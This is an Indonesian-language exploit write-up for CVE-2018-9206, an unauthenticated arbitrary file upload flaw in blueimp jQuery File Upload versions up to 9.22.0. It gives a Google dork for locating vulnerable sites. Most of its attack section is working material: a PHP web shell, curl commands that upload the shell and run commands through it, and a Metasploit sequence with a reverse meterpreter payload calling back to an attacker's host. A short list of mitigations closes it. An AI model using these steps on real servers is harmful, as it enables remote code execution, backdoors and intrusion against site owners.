Exploit jQuery File Upload (≤ v9.22.0) - Unauthenticated Arbitrary File Upload
# Title: jQuery-File-Upload 9.22.0 - Arbitrary File Upload # Author: Larry W. Cashdollar, @_larry0 # Date: 2018-10-09 # Google Dork: inurl:/jquery-file-upload/server/php/ # Vendor: https://github.com/blueimp # Download Site: https://github.com/blueimp/jQuery-File-Upload/releases # CVE: CVE-2018-9206
Blueimp jQuery File Upload adalah plugin open-source populer untuk mengunggah file melalui AJAX.
Plugin ini banyak digunakan di berbagai aplikasi web karena kemudahannya. Namun, versi <= 9.22.0
memiliki kelemahan keamanan yang memungkinkan penyerang untuk mengunggah file berbahaya tanpa autentikasi.
Penyebab Kerentanan
File UploadHandler.php dalam plugin ini tidak memiliki mekanisme validasi file yang ketat. Contohnya pada bagian kode berikut:
'accept_file_types' => '/.+$/i',
Regex /.*$/i mengizinkan semua jenis file, termasuk .php, .phtml, dan .php5,
sehingga memungkinkan arbitrary file upload yang berujung pada remote code execution (RCE).
Eksploitasi
Persiapan
Penyerang hanya perlu mengunggah file PHP shell sederhana, seperti berikut:
<?php system($_GET['cmd']); ?>
Cara Eksploitasi
1. Gunakan curl untuk mengunggah file backdoor:
curl -F "files=@shell.php" http://target.com/jQuery-File-Upload/server/php/
Jika berhasil, file akan diunggah ke direktori /files/.
2. Jalankan perintah di server melalui backdoor:
curl "http://target.com/jQuery-File-Upload/server/php/files/shell.php?cmd=id"
Payload Metasploit
Eksploitasi juga bisa dilakukan menggunakan Metasploit:
use exploit/unix/webapp/jquery_file_upload
set RHOSTS target.com
set TARGETURI /jQuery-File-Upload/server/php/
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST your_ip
set LPORT 4444
exploit
Cara Mencegah Eksploitasi
Jika menggunakan versi lama, segera lakukan langkah-langkah berikut:
- Update ke versi terbaru dari jQuery File Upload.
- Batasi ekstensi file yang diizinkan dengan menyesuaikan konfigurasi sebagai berikut:
'accept_file_types' => '/\.(gif|jpe?g|png)$/i',
- Validasi MIME Type sebelum menyimpan file.
- Gunakan autentikasi untuk membatasi akses upload.
